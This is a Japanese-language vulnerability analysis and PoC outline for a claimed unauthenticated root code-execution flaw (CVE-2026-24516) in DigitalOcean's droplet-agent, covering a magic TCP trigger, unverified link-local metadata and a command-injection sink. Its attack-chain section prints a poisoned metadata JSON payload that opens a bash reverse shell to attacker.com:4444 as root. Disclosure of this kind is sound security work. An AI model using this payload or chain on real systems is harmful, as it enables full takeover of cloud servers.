
CVE-2026-24516 の技術分析と PoC: DigitalOcean Droplet Agent における未認証の root リモートコード実行 (CVSS 10.0)。
ID: CVE-2026-24516
タイトル: メタデータポイズニングとサイドチャネルを悪用した未認証の Root RCE
深刻度: 緊急 (CVSS v3.1: 10.0 / AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
研究者: Anmol Singh Rajput (@poxsky)
影響範囲: DigitalOcean Droplet Agent (droplet-agent) <= v1.3.2
================================================================================
'droplet-agent' は、リモートテレメトリと診断のために設計された特権システムデーモン (UID 0) です。特定のシグナリングシーケンスを受信するまで、パッシブな監視状態を維持します。中核となる脆弱性は、リンクローカルメタデータサービス (169.254.169.254) の「暗黙的信頼モデル」にあり、暗号学的完全性チェックが欠如しています。
A. パッシブ TCP サイドチャネル (シグナリング層) エージェントは、ポート 22 上で raw ソケットリスナー (internal/metadata/watcher/ssh_watcher.go) を利用します。TCP ヘッダー内のハードコードされたマジック定数に基づいて、IDLE から ACTIVE への状態遷移を実行します:
分析: これにより決定論的なトリガーが生成されます。外部の攻撃者は、これらのマジック値を含む単一の TCP SYN パケットをスプーフィングすることで、インフラストラクチャのコントロールプレーンを偽装できます。
B. 信頼境界の侵害 (リンクローカルの欠陥) シグナリング後、エージェントはクラウドメタデータエンドポイントから JSON 命令を取得します。この脆弱性は真正性検証の欠如です。エージェントは 169.254.169.254 ゾーンを「堅牢化された信頼ゾーン」として扱い、ペイロード署名 (HMAC/mTLS) の検証に失敗します。
C. シンク: サニタイズされていないコマンドインジェクション 'TroubleshootingActioner' (internal/troubleshooting/actioner/actioner.go) には、'requesting' 配列を解析するシンクが含まれています。
偽装: 攻撃者は、ホストされたアプリケーション内の SSRF を特定し、リンクローカルメタデータサービスへのリクエストをプロキシします。
ポイズニング: 攻撃者は、以下を返す悪意のあるメタデータサーバーをセットアップします: {"requesting": ["command:bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"]}
ノック: 攻撃者は「DODO-TTY」TCP トリガーをポート 22 に送信します。
実行: エージェントはポイズニングされた JSON を取得し、実効 UID 0 (Root) でリバースシェルを実行します。
影響評価
